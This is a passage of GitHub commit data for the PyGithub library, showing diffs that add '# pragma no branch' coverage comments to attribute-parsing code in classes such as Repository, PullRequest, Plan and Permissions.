attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"billing_email\" in attributes and attributes[ \"billing_email\" ] is not None:\n+ if \"billing_email\" in attributes and attributes[ \"billing_email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"billing_email\" ], str )\n self.__billing_email = attributes[ \"billing_email\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":24,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":6,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Permissions.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Permissions.py","filename":"src/github/Permissions.py","patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"admin\", \"pull\", \"push\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"admin\" in attributes and attributes[ \"admin\" ] is not None:\n+ if \"admin\" in attributes and attributes[ \"admin\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"admin\" ], bool )\n self.__admin = attributes[ \"admin\" ]\n- if \"pull\" in attributes and attributes[ \"pull\" ] is not None:\n+ if \"pull\" in attributes and attributes[ \"pull\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"pull\" ], bool )\n self.__pull = attributes[ \"pull\" ]\n- if \"push\" in attributes and attributes[ \"push\" ] is not None:\n+ if \"push\" in attributes and attributes[ \"push\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"push\" ], bool )\n self.__push = attributes[ \"push\" ]","additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":8,"deletions":4,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Plan.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Plan.py","filename":"src/github/Plan.py","patch":"@@ -37,15 +37,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"collaborators\", \"name\", \"private_repos\", \"space\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"private_repos\" in attributes and attributes[ \"private_repos\" ] is not None:\n+ if \"private_repos\" in attributes and attributes[ \"private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_repos\" ], int )\n self.__private_repos = attributes[ \"private_repos\" ]\n- if \"space\" in attributes and attributes[ \"space\" ] is not None:\n+ if \"space\" in attributes and attributes[ \"space\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"space\" ], int )\n self.__space = attributes[ \"space\" ]","additions":4,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":52,"deletions":26,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequest.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequest.py","filename":"src/github/PullRequest.py","patch":"@@ -279,56 +279,56 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"base\", \"body\", \"changed_files\", \"closed_at\", \"comments\", \"commits\", \"created_at\", \"deletions\", \"diff_url\", \"head\", \"html_url\", \"id\", \"issue_url\", \"mergeable\", \"merged\", \"merged_at\", \"merged_by\", \"number\", \"patch_url\", \"review_comments\", \"state\", \"title\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"base\" in attributes and attributes[ \"base\" ] is not None:\n+ if \"base\" in attributes and attributes[ \"base\" ] is not None: # pragma no branch\n self.__base = attributes[ \"base\" ]\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"changed_files\" in attributes and attributes[ \"changed_files\" ] is not None:\n+ if \"changed_files\" in attributes and attributes[ \"changed_files\" ] is not None: # pragma no branch\n self.__changed_files = attributes[ \"changed_files\" ]\n- if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None:\n+ if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None: # pragma no branch\n self.__closed_at = attributes[ \"closed_at\" ]\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n self.__comments = attributes[ \"comments\" ]\n- if \"commits\" in attributes and attributes[ \"commits\" ] is not None:\n+ if \"commits\" in attributes and attributes[ \"commits\" ] is not None: # pragma no branch\n self.__commits = attributes[ \"commits\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"diff_url\" in attributes and attributes[ \"diff_url\" ] is not None:\n+ if \"diff_url\" in attributes and attributes[ \"diff_url\" ] is not None: # pragma no branch\n self.__diff_url = attributes[ \"diff_url\" ]\n- if \"head\" in attributes and attributes[ \"head\" ] is not None:\n+ if \"head\" in attributes and attributes[ \"head\" ] is not None: # pragma no branch\n self.__head = attributes[ \"head\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"issue_url\" in attributes and attributes[ \"issue_url\" ] is not None:\n+ if \"issue_url\" in attributes and attributes[ \"issue_url\" ] is not None: # pragma no branch\n self.__issue_url = attributes[ \"issue_url\" ]\n- if \"mergeable\" in attributes and attributes[ \"mergeable\" ] is not None:\n+ if \"mergeable\" in attributes and attributes[ \"mergeable\" ] is not None: # pragma no branch\n self.__mergeable = attributes[ \"mergeable\" ]\n- if \"merged\" in attributes and attributes[ \"merged\" ] is not None:\n+ if \"merged\" in attributes and attributes[ \"merged\" ] is not None: # pragma no branch\n self.__merged = attributes[ \"merged\" ]\n- if \"merged_at\" in attributes and attributes[ \"merged_at\" ] is not None:\n+ if \"merged_at\" in attributes and attributes[ \"merged_at\" ] is not None: # pragma no branch\n self.__merged_at = attributes[ \"merged_at\" ]\n- if \"merged_by\" in attributes and attributes[ \"merged_by\" ] is not None:\n+ if \"merged_by\" in attributes and attributes[ \"merged_by\" ] is not None: # pragma no branch\n self.__merged_by = attributes[ \"merged_by\" ]\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n self.__number = attributes[ \"number\" ]\n- if \"patch_url\" in attributes and attributes[ \"patch_url\" ] is not None:\n+ if \"patch_url\" in attributes and attributes[ \"patch_url\" ] is not None: # pragma no branch\n self.__patch_url = attributes[ \"patch_url\" ]\n- if \"review_comments\" in attributes and attributes[ \"review_comments\" ] is not None:\n+ if \"review_comments\" in attributes and attributes[ \"review_comments\" ] is not None: # pragma no branch\n self.__review_comments = attributes[ \"review_comments\" ]\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":26,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":22,"deletions":11,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestComment.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestComment.py","filename":"src/github/PullRequestComment.py","patch":"@@ -121,26 +121,26 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"commit_id\", \"created_at\", \"html_url\", \"id\", \"line\", \"path\", \"position\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"line\" in attributes and attributes[ \"line\" ] is not None:\n+ if \"line\" in attributes and attributes[ \"line\" ] is not None: # pragma no branch\n self.__line = attributes[ \"line\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n self.__path = attributes[ \"path\" ]\n- if \"position\" in attributes and attributes[ \"position\" ] is not None:\n+ if \"position\" in attributes and attributes[ \"position\" ] is not None: # pragma no branch\n self.__position = attributes[ \"position\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":18,"deletions":9,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestFile.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestFile.py","filename":"src/github/PullRequestFile.py","patch":"@@ -62,21 +62,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"blob_url\", \"changes\", \"deletions\", \"filename\", \"patch\", \"raw_url\", \"sha\", \"status\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None:\n+ if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None: # pragma no branch\n self.__blob_url = attributes[ \"blob_url\" ]\n- if \"changes\" in attributes and attributes[ \"changes\" ] is not None:\n+ if \"changes\" in attributes and attributes[ \"changes\" ] is not None: # pragma no branch\n self.__changes = attributes[ \"changes\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"filename\" in attributes and attributes[ \"filename\" ] is not None:\n+ if \"filename\" in attributes and attributes[ \"filename\" ] is not None: # pragma no branch\n self.__filename = attributes[ \"filename\" ]\n- if \"patch\" in attributes and attributes[ \"patch\" ] is not None:\n+ if \"patch\" in attributes and attributes[ \"patch\" ] is not None: # pragma no branch\n self.__patch = attributes[ \"patch\" ]\n- if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None:\n+ if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None: # pragma no branch\n self.__raw_url = attributes[ \"raw_url\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n self.__sha = attributes[ \"sha\" ]\n- if \"status\" in attributes and attributes[ \"status\" ] is not None:\n+ if \"status\" in attributes and attributes[ \"status\" ] is not None: # pragma no branch\n self.__status = attributes[ \"status\" ]","additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":62,"deletions":31,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Repository.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Repository.py","filename":"src/github/Repository.py","patch":"@@ -905,96 +905,96 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"clone_url\", \"created_at\", \"description\", \"fork\", \"forks\", \"full_name\", \"git_url\", \"has_downloads\", \"has_issues\", \"has_wiki\", \"homepage\", \"html_url\", \"id\", \"language\", \"master_branch\", \"mirror_url\", \"name\", \"open_issues\", \"organization\", \"owner\", \"parent\", \"permissions\", \"private\", \"pushed_at\", \"size\", \"source\", \"ssh_url\", \"svn_url\", \"updated_at\", \"url\", \"watchers\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"clone_url\" in attributes and attributes[ \"clone_url\" ] is not None:\n+ if \"clone_url\" in attributes and attributes[ \"clone_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"clone_url\" ], str )\n self.__clone_url = attributes[ \"clone_url\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"fork\" in attributes and attributes[ \"fork\" ] is not None:\n+ if \"fork\" in attributes and attributes[ \"fork\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"fork\" ], bool )\n self.__fork = attributes[ \"fork\" ]\n- if \"forks\" in attributes and attributes[ \"forks\" ] is not None:\n+ if \"forks\" in attributes and attributes[ \"forks\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"forks\" ], int )\n self.__forks = attributes[ \"forks\" ]\n- if \"full_name\" in attributes and attributes[ \"full_name\" ] is not None:\n+ if \"full_name\" in attributes and attributes[ \"full_name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"full_name\" ], str )\n self.__full_name = attributes[ \"full_name\" ]\n- if \"git_url\" in attributes and attributes[ \"git_url\" ] is not None:\n+ if \"git_url\" in attributes and attributes[ \"git_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_url\" ], str )\n self.__git_url = attributes[ \"git_url\" ]\n- if \"has_downloads\" in attributes and attributes[ \"has_downloads\" ] is not None:\n+ if \"has_downloads\" in attributes and attributes[ \"has_downloads\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_downloads\" ], bool )\n self.__has_downloads = attributes[ \"has_downloads\" ]\n- if \"has_issues\" in attributes and attributes[ \"has_issues\" ] is not None:\n+ if \"has_issues\" in attributes and attributes[ \"has_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_issues\" ], bool )\n self.__has_issues = attributes[ \"has_issues\" ]\n- if \"has_wiki\" in attributes and attributes[ \"has_wiki\" ] is not None:\n+ if \"has_wiki\" in attributes and attributes[ \"has_wiki\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_wiki\" ], bool )\n self.__has_wiki = attributes[ \"has_wiki\" ]\n- if \"homepage\" in attributes and attributes[ \"homepage\" ] is not None:\n+ if \"homepage\" in attributes and attributes[ \"homepage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"homepage\" ], str )\n self.__homepage = attributes[ \"homepage\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"language\" in attributes and attributes[ \"language\" ] is not None:\n+ if \"language\" in attributes and attributes[ \"language\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"language\" ], str )\n self.__language = attributes[ \"language\" ]\n- if \"master_branch\" in attributes and attributes[ \"master_branch\" ] is not None:\n+ if \"master_branch\" in attributes and attributes[ \"master_branch\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"master_branch\" ], str )\n self.__master_branch = attributes[ \"master_branch\" ]\n- if \"mirror_url\" in attributes and attributes[ \"mirror_url\" ] is not None:\n+ if \"mirror_url\" in attributes and attributes[ \"mirror_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"mirror_url\" ], str )\n self.__mirror_url = attributes[ \"mirror_url\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None:\n+ if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"open_issues\" ], int )\n self.__open_issues = attributes[ \"open_issues\" ]\n- if \"organization\" in attributes and attributes[ \"organization\" ] is not None:\n+ if \"organization\" in attributes and attributes[ \"organization\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"organization\" ], dict )\n self.__organization = Organization.Organization( self.__requester, attributes[ \"organization\" ], completion = LazyCompletion )\n- if \"owner\" in attributes and attributes[ \"owner\" ] is not None:\n+ if \"owner\" in attributes and attributes[ \"owner\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owner\" ], dict )\n self.__owner = NamedUser.NamedUser( self.__requester, attributes[ \"owner\" ], completion = LazyCompletion )\n- if \"parent\" in attributes and attributes[ \"parent\" ] is not None:\n+ if \"parent\" in attributes and attributes[ \"parent\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parent\" ], dict )\n self.__parent = Repository( self.__requester, attributes[ \"parent\" ], completion = LazyCompletion )\n- if \"permissions\" in attributes and attributes[ \"permissions\" ] is not None:\n+ if \"permissions\" in attributes and attributes[ \"permissions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"permissions\" ], dict )\n self.__permissions = Permissions.Permissions( self.__requester, attributes[ \"permissions\" ], completion = LazyCompletion )\n- if \"private\" in attributes and attributes[ \"private\" ] is not None:\n+ if \"private\" in attributes and attributes[ \"private\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private\" ], bool )\n self.__private = attributes[ \"private\" ]\n- if \"pushed_at\" in attributes and attributes[ \"pushed_at\" ] is not None:\n+ if \"pushed_at\" in attributes and attributes[ \"pushed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"pushed_at\" ], str )\n self.__pushed_at = attributes[ \"pushed_at\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"source\" in attributes and attributes[ \"source\" ] is not None:\n+ if \"source\" in attributes and attributes[ \"source\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"source\" ], dict )\n self.__source = Repository( self.__requester, attributes[ \"source\" ], completion = LazyCompletion )\n- if \"ssh_url\" in attributes and attributes[ \"ssh_url\" ] is not None:\n+ if \"ssh_url\" in attributes and attributes[ \"ssh_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"ssh_url\" ], str )\n self.__ssh_url = attributes[ \"ssh_url\" ]\n- if \"svn_url\" in attributes and attributes[ \"svn_url\" ] is not None:\n+ if \"svn_url\" in attributes and attributes[ \"svn_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"svn_url\" ], str )\n self.__svn_url = attributes[ \"svn_url\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"watchers\" in attributes and attributes[ \"watchers\" ] is not None:\n+ if \"watchers\" in attributes and attributes[ \"watchers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"watchers\" ], int )\n self.__watchers = attributes[ \"watchers\" ]","additions":31,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":10,"deletions":5,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/RepositoryKey.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/RepositoryKey.py","filename":"src/github/RepositoryKey.py","patch":"@@ -87,14 +87,14 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"key\", \"title\", \"url\", \"verified\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"key\" in attributes and 